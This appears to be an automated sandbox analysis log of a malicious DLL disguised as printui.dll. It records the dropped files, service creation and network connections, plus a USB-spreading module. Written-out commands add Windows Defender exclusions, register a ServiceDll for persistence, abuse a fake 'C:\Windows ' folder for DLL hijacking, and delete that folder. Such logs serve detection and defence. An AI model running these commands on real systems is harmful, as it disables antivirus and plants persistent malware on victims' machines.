Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.openssl.org/H

Source: unknown	Network traffic detected: HTTP traffic on port 58631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58639
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58640
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 58639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58631
Source: unknown	Network traffic detected: HTTP traffic on port 58637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58635 -> 443

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:58628 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:58630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:58633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:58634 version: TLS 1.2

Source: cmd.exe

Process created: 64

Source: C:\Windows\System32\loaddll64.exe	File created: C:\Windows\System32\winsvcf	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	File created: C:\Windows\System32\Z295699.dat	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	File created: C:\Windows\System32\winsvcf\winlogsvc	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\System32\Z422697.dat	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z863415.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z360653.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z759240.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z788564.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z867905.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z369335.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winoldsvcdlt32
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z973350.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z792968.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z818756.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z216526.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z730942.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z753638.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Source: C:\Windows\System32\Z369335.exe	File created: C:\Windows\System32\usvcinsta64.exe
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.exe
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.dll
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows \System32
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\winsvcf
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\winsvcf\winlogsvc
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x841418.dat

Source: C:\Windows\System32\svchost.exe

File deleted: C:\Windows\System32\winsvcf\Z863415.exe

Source: libwinpthread-1.dll.120.dr	Static PE information: Number of sections : 12 > 10
Source: libintl-9.dll.120.dr	Static PE information: Number of sections : 20 > 10
Source: libiconv-2.dll.120.dr	Static PE information: Number of sections : 20 > 10

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f

Source: Z295699.dat.0.dr, aes_encryptor.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Z422697.dat.3.dr, aes_encryptor.cs	Cryptographic APIs: 'CreateDecryptor'

Source: Z295699.dat.0.dr, my_code.cs	Base64 encoded string: 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybVrYszRUlbicX7U+wt9snybDvnstndWO9FoRLAubDoef2CnPn0au1iwrPebIyjAZpE=', 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybVrYszRUlbicX7U+wt9snybCNwsXUIwfRL6pyEX/fG5CPjVvtZ+ACTg99IIKicm6Qg=', 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybX8xBxCgA4M9O8rzLDxmluXYi4djGetWDD2G5bMgS9D8qHCZ2bN4F8g6e48SAqw5fU=', 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybX8xBxCgA4M9O8rzLDxmluXjIwYCDnu5TvuERcSDBPdPZ27/zZhWcEy8ViBmfRmz3I='
Source: Z422697.dat.3.dr, my_code.cs	Base64 encoded string: 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybVrYszRUlbicX7U+wt9snybDvnstndWO9FoRLAubDoef2CnPn0au1iwrPebIyjAZpE=', 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybVrYszRUlbicX7U+wt9snybCNwsXUIwfRL6pyEX/fG5CPjVvtZ+ACTg99IIKicm6Qg=', 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybX8xBxCgA4M9O8rzLDxmluXYi4djGetWDD2G5bMgS9D8qHCZ2bN4F8g6e48SAqw5fU=', 'semko7yfNRVyi1vCUb9tvdA0qJlOtsr4GLkzCsHrybX8xBxCgA4M9O8rzLDxmluXjIwYCDnu5TvuERcSDBPdPZ27/zZhWcEy8ViBmfRmz3I='

Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.try_move_files
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.main_codes
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.create_injector
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.get_removable_drives
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.create_shortcut
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.dispose
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.move_file
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.set_hidden
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.get_unique_filename
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.try_inject
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.start_thread
Source: Z295699.dat.0.dr, usb_injector.cs	Suspicious method names: .usb_injector.move_directory
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.try_move_files
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.main_codes
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.create_injector
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.get_removable_drives
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.create_shortcut
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.dispose
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.move_file
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.set_hidden
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.get_unique_filename
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.try_inject
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.start_thread
Source: Z422697.dat.3.dr, usb_injector.cs	Suspicious method names: .usb_injector.move_directory

Source: classification engine

Classification label: mal100.evad.winDLL@212/91@4/4

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6376:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7384:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_de5aiwjm.jx4.ps1

Jump to behavior

Source: printui.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: printui.dll

Static file information: TRID: Win64 Dynamic Link Library (generic) Net Framework (111504/3) 44.42%

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Documents\desktop.ini

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\printui.dll",#1

Source: printui.dll	ReversingLabs: Detection: 37%
Source: printui.dll	Virustotal: Detection: 36%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\printui.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\printui.dll",#1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\printui.dll",#1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe start Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe start Z295699
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k DcomLaunch -s Z295699
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe start Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe start Z422697
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k DcomLaunch -s Z422697
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\winsvcf\Z369335.exe "C:\Windows\System32\winsvcf\Z369335.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\winsvcf\Z753638.exe "C:\Windows\System32\winsvcf\Z753638.exe"
Source: C:\Windows\System32\winsvcf\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\winsvcf\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\winsvcf\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z753638.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z753638.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak
Source: C:\Windows\System32\winsvcf\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z369335.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z369335.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Z753638.exe "C:\Windows\System32\Z753638.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Z369335.exe "C:\Windows\System32\Z369335.exe"
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z295699
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z295699
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z295699
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z422697
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z422697
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z422697
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z422697
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\usvcinsta64.exe "C:\Windows\System32\usvcinsta64.exe"
